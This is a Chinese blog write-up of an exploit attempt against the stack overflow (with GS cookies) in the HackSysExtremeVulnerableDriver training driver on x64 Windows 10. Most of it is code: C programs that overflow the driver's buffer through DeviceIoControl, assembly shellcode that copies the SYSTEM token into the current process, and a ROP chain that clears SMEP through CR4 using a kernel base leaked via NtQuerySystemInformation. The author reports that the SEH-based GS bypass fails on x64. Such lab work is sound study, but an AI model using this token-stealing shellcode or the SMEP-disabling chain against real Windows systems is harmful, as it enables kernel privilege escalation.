划水篇hevd失败的栈溢出开了GS漏洞利用

直接干win10吧
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
老套路 长度改成0x200对拷贝处下断点
在这里插入图片描述
编译运行断下后单步跟踪到循环拷贝处下条件断点
在这里插入图片描述
按g 断下kp查看堆栈调用
在这里插入图片描述
kd 100对比查看覆盖需要增加覆盖的长度
在这里插入图片描述

在这里插入图片描述

#include <windows.h>
#include <stdio.h>
#include"shellcode.h"
DWORD64 buf[0xf00]{};
HANDLE hDriver;
DWORD dwBytesOut = 0;
int main() {

	hDriver = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
	if (hDriver == INVALID_HANDLE_VALUE) {
		printf("[!] Unable to get a handle on the device\n");
		return(-1);
	}
	DWORD64 a = (DWORD64)&ShellCode;
	PVOID64 temp;
	temp = VirtualAlloc(
		NULL,
		0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
	memcpy(temp, (PVOID64)a, 0x200);
	for (size_t i = 0; i <0xf00; i++)
	{
		buf[i] = (DWORD64)temp;
	}
	DeviceIoControl(hDriver, 0x222007, buf, 0x200, 0, 0, &dwBytesOut, NULL);
	return 0;
}

shellcode.asm

.code 
ShellCode proc
int 3
xor rax, rax                    ; Set ZERO
mov rax, gs:[rax + 188h]        ; Get nt!_KPCR.PcrbData.CurrentThread
                                ; _KTHREAD is located at GS : [0x188]

mov rax, [rax +184]            ; Get nt!_KTHREAD.ApcState.Process
mov rcx, rax                    ; Copy current process _EPROCESS structure
mov r11, rcx                    ; Store Token.RefCnt
and r11, 7

mov rdx, 4h                     ; SYSTEM process PID = 0x4

SearchSystemPID:
mov rax, [rax + 2e8h]           ; Get nt!_EPROCESS.ActiveProcessLinks.Flink
sub rax, 2e8h
cmp[rax + 2e0h], rdx            ; Get nt!_EPROCESS.UniqueProcessId
jne SearchSystemPID
mov rdx, [rax + 358h]           ; Get SYSTEM process nt!_EPROCESS.Token
and rdx, 0fffffffffffffff0h
or rdx, r11
mov[rcx + 358h], rdx 
loc_1400865AE:
add rsp, 10h	
xor rsi, rsi	
xor rdi, rdi	
xor rax, rax	
ret
ShellCode endp 
end

在这里插入图片描述
**很明显已经被覆盖了 **
在这里插入图片描述
继续在拷贝的时候观察堆栈
再拷贝函数还没返回时 经过调试发现只要缓冲区大于0x200就会崩溃
在这里插入图片描述
最重要的是虽然他是往上拷贝的,但是第一次拷贝的时候就把缓冲区最后的拷上去了,也就是反着拷贝的,以前拷贝最前面往最后面拷,现在是从最后面往最前面拷贝 坑爹呀有木有
好了 我们知道以前调过覆盖cookie和ebp还有返回地址 的长度是
在这里插入图片描述
为了验证这种长度刚好覆盖返回地址,可以在判断gs cookie的时候让他跳过去
在这里插入图片描述
跳过去后在返回的时候查看esp
在这里插入图片描述
覆盖的长度不多不少刚刚好
现在我们要考虑触发seh溢出来的方式绕过gs
还得观察堆栈查看seh句柄的位置
这里 要符号包 没符号包看着太难受了 算了继续干

那么问题又来了 怎么触发异常呢 这里我想到了把栈撑爆 ,因为我原来r3试过这玩意可以触发seh,但是在r0撑爆了触发不了seh就直接崩了,就像我开始提到的哪个驱动洞一样,一直没办法绕gs,不扯了,把长度改成0xffff

在这里插入图片描述
还没拷贝结束就崩了 触发不了seh
然后我又去看hevd的利用 分配文件映射内存,然后发送无效的映射内存触发seh,不过这方法需要发送长度大于映射内存+4

又扯远了,还是就事论事把,编写代码如下

#include <windows.h>
#include <stdio.h>
#include"shellcode.h"
HANDLE hDriver;
DWORD dwBytesOut = 0;
int main() {

	hDriver = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
	if (hDriver == INVALID_HANDLE_VALUE) {
		printf("[!] Unable to get a handle on the device\n");
		system("pause");
		return(-1);
	}
	PVOID64	lpvPayload = VirtualAlloc(
		NULL,						// Next page to commit
		0x100,						// Page size, in bytes
		MEM_COMMIT | MEM_RESERVE,	// Allocate a committed page
		PAGE_EXECUTE_READWRITE);	// Read/write access

	if (lpvPayload == NULL)
	{
		printf("\n[+] Failed to alloc Memory!\n");
		system("pause");
		return -1;
	}
	printf(" -> Done!\n");

	memcpy(lpvPayload, ShellCode, 0x100);

	HANDLE hMapFile = CreateFileMapping(
		INVALID_HANDLE_VALUE,    // Use paging file
		NULL,                    // Default security
		PAGE_EXECUTE_READWRITE,  // Read/write/execute access
		0,                       // Maximum object size (high-order DWORD)
		4096,            // Maximum object size (low-order DWORD)
		NULL
	);
	if (hMapFile == NULL)
	{
		printf("\n[+] Failed to create file mapping object\n");
		system("pause");
		return -1;
	}
	PVOID64 pBuf = MapViewOfFile(
		hMapFile,				// Handle to map object
		FILE_MAP_ALL_ACCESS,	// Read/write permission
		0,
		0,
		4096
	);
	if (pBuf == NULL)
	{
		printf("\n[+] Failed to Map a view of the File\n");
		CloseHandle(hMapFile);
		system("pause");
		return -1;
	}
	memset(pBuf, 0x41, 4096);
	PVOID64 lpOverflowBuffer = (PVOID64)((ULONG64)pBuf + (4096 - (0x200 + 64 + 16)));
	for (unsigned int i = 0; i < 0x200 + 64 + 16; i += 8)
		*((PULONG64)((ULONG64)lpOverflowBuffer + i)) = (ULONG64)lpvPayload;
	BOOL bResult=DeviceIoControl(hDriver, 0x222007, lpOverflowBuffer, 0x200+64+16+8, 0, 0, &dwBytesOut, NULL);
	if (!bResult) {
		wprintf(L" -> Failed to send Data!\n\n");
		exit(1);
	}
	return 0;
}

原32位的代码https://github.com/Cn33liz/HSEVD-StackCookieBypass/blob/master/HS-StackOverflowGS/HS-StackOverflowGS.c

此博客已终结
x64下seh不在栈上)无法覆盖,只能触发一下she而不崩溃

在这里插入图片描述总结,这方法在实战中没啥有,挺鸡肋的,现在的驱动是你分配多少内存,发送长度必须在这个长度之内,比如你malloc一个1000的,长度只能发送1000.你发送大于这个数字根本进入不了驱动的分发函数,并且就算又seh覆盖,但由于seh保护的措施,导致无法利用,除非又另一个漏洞泄露gs的值
附上除发异常而不崩溃的代码 仅适用于 1809

在这里插入代码片#include <windows.h>
#include <stdio.h>
#include"shellcode.h"

// 手动设置了seh 因为seh不在栈下面 所以没办法覆盖seh 只能触发一下异常 也就是这个漏洞无法利用
HANDLE hDriver;
DWORD dwBytesOut = 0;
typedef enum _SYSTEM_INFORMATION_CLASS {
	SystemBasicInformation = 0,
	SystemPerformanceInformation = 2,
	SystemTimeOfDayInformation = 3,
	SystemProcessInformation = 5,
	SystemProcessorPerformanceInformation = 8,
	SystemModuleInformation = 11,
	SystemInterruptInformation = 23,
	SystemExceptionInformation = 33,
	SystemRegistryQuotaInformation = 37,
	SystemLookasideInformation = 45
} SYSTEM_INFORMATION_CLASS;
typedef NTSTATUS(NTAPI* _NtQuerySystemInformation)(
	SYSTEM_INFORMATION_CLASS SystemInformationClass,
	PVOID SystemInformation,
	ULONG SystemInformationLength,
	PULONG ReturnLength
	);
typedef struct _ROP {
	PUCHAR PopRcxRet;
	PUCHAR Cr4RegValue;
	PUCHAR MovCr4EcxRet;
} ROP, * PROP;

typedef struct _SYSTEM_MODULE_INFORMATION_ENTRY {
	HANDLE Section;
	PVOID MappedBase;
	PVOID ImageBase;
	ULONG ImageSize;
	ULONG Flags;
	USHORT LoadOrderIndex;
	USHORT InitOrderIndex;
	USHORT LoadCount;
	USHORT OffsetToFileName;
	UCHAR FullPathName[256];
} SYSTEM_MODULE_INFORMATION_ENTRY, * PSYSTEM_MODULE_INFORMATION_ENTRY;

typedef struct _SYSTEM_MODULE_INFORMATION {
	ULONG NumberOfModules;
	SYSTEM_MODULE_INFORMATION_ENTRY Module[1];
} SYSTEM_MODULE_INFORMATION, * PSYSTEM_MODULE_INFORMATION;
int main() {


	DWORD len;
	PSYSTEM_MODULE_INFORMATION ModuleInfo;
	PUCHAR kernelBase = NULL;

	ROP DisableSMEP;
	_NtQuerySystemInformation NtQuerySystemInformation = (_NtQuerySystemInformation)
		GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtQuerySystemInformation");
	NtQuerySystemInformation(SystemModuleInformation, NULL, 0, &len);
	ModuleInfo = (PSYSTEM_MODULE_INFORMATION)VirtualAlloc(NULL, len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

	NtQuerySystemInformation(SystemModuleInformation, ModuleInfo, len, &len);

	kernelBase = (PUCHAR)ModuleInfo->Module[0].ImageBase;

	wprintf(L" [+] shellcode is at: 0x%s \n", ModuleInfo->Module[0].FullPathName);
	
	wprintf(L" [*] Allocating Ring0 Payload");
	LPVOID lpvPayload = VirtualAlloc(
		NULL,				// Next page to commit
		0x200,		// Page size, in bytes
		MEM_COMMIT | MEM_RESERVE,	// Allocate a committed page
		PAGE_EXECUTE_READWRITE);	// Read/write access
	if (lpvPayload == NULL)
	{
		wprintf(L" -> Unable to reserve Memory!\n\n");
		exit(1);
	}

	HANDLE hDevice;
	HANDLE hMapFile;
	LPCWSTR lpSharedMemoryMap = L"Local\\SharedMemoryMap";
	LPVOID pBuf = NULL;
	BOOL bResult = FALSE;
	LPVOID lpOverflowBuffer;

	hMapFile = CreateFileMapping(
		INVALID_HANDLE_VALUE,    // Use paging file
		NULL,                    // Default security
		PAGE_EXECUTE_READWRITE,  // Read/write/execute access
		0,                       // Maximum object size (high-order DWORD)
		4096,            // Maximum object size (low-order DWORD)
		lpSharedMemoryMap);      // Name of mapping object

	if (hMapFile == NULL)
	{
		wprintf(L" -> Could not create File Mapping Object (%d)! \n\n", GetLastError());
		exit(1);
	}

	pBuf = MapViewOfFile(hMapFile,  // Handle to map object
		FILE_MAP_ALL_ACCESS,	// Read/write permission
		0,
		0,
		4096);

	if (pBuf == NULL)
	{
		wprintf(L" -> Could not Map view of File (%d)! \n\n", GetLastError());
		CloseHandle(hMapFile);
		exit(1);
	}
	memcpy(lpvPayload, ShellCode, 0x100);
	memset(pBuf, 0x41, 4096);
	lpOverflowBuffer = (LPVOID)((ULONG64)pBuf + (4096 - (0x200 + 56 + sizeof(ROP)+8)));
	for (unsigned int i = 0; i < 0; i += 8) // Fill Buffer with Payload address to overwrite the SEH Handler
		*((PULONG)((ULONG64)lpOverflowBuffer + i)) = (ULONG64)lpvPayload;

	VirtualFree(ModuleInfo, 0, MEM_RELEASE);
	DisableSMEP.PopRcxRet = kernelBase + 0x270fce;
	DisableSMEP.Cr4RegValue = (PUCHAR)0x406f8;
	DisableSMEP.MovCr4EcxRet = kernelBase + 0x16e437;
	memcpy((PULONG)((ULONG64)lpOverflowBuffer + 0x200 + 56), &DisableSMEP, sizeof(ROP));
	wprintf(L" [+] shellcode is at: 0x%p \n", ShellCode);
	wprintf(L" [+] Kernel Base Address is at: 0x%p \n", kernelBase);
	wprintf(L" [+] pop rcx ; ret -> Gadget available at: 0x%p \n", DisableSMEP.PopRcxRet);
	wprintf(L" [+] New value of CR4 register: 0x%p \n", DisableSMEP.Cr4RegValue);
	wprintf(L" [+] mov cr4, ecx ; ret -> Gadget available at: 0x%p \n\n", DisableSMEP.MovCr4EcxRet);
	hDriver = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
	if (hDriver == INVALID_HANDLE_VALUE) {
		printf("[!] Unable to get a handle on the device\n");
		return(-1);
	}
	//bp fffff8063e7a0000+867B4
	//fffff806`3e8267cf
// + 56 + sizeof(ROP) + 8+8
	//fffff806`3e8267bb 
	//+ 56 + sizeof(ROP) + 8 + 8
	DeviceIoControl(hDriver, 0x222007, lpOverflowBuffer, 0x200, 0, 0, &dwBytesOut, NULL);
	getchar();
	//STARTUPINFO si = { sizeof(si) };
	//PROCESS_INFORMATION pi = { 0 };
	//si.dwFlags = STARTF_USESHOWWINDOW;
	//si.wShowWindow = SW_SHOW;
	//WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" };
	//BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOW)&si, &pi);
	//getchar();
	return 0;
}

shellcode.asm


```cpp
.code 
ShellCode proc
xor rax, rax                    ; Set ZERO
mov rax, gs:[rax + 188h]        ; Get nt!_KPCR.PcrbData.CurrentThread
                                ; _KTHREAD is located at GS : [0x188]

mov rax, [rax +220h]            ; Get nt!_KTHREAD.ApcState.Process
mov rcx, rax                    ; Copy current process _EPROCESS structure
mov r11, rcx                    ; Store Token.RefCnt
and r11, 7

mov rdx, 4h                     ; SYSTEM process PID = 0x4

SearchSystemPID:
mov rax, [rax + 2e8h]           ; Get nt!_EPROCESS.ActiveProcessLinks.Flink
sub rax, 2e8h
cmp[rax + 2e0h], rdx            ; Get nt!_EPROCESS.UniqueProcessId
jne SearchSystemPID
mov rdx, [rax + 358h]           ; Get SYSTEM process nt!_EPROCESS.Token
and rdx, 0fffffffffffffff0h
or rdx, r11
mov[rcx + 358h], rdx 
loc_1400865AE:
add rsp, 10h
mov r12,0
mov r15,0
mov r14,0
mov rsi,00000000c00000bbh
mov rdi,4d
mov rdx,0
mov rbx,3
int 3
ret
ShellCode endp 
end

shellcode.h

#pragma once
extern "C" void ShellCode();

猜你喜欢

转载自blog.csdn.net/qq_43045569/article/details/106871092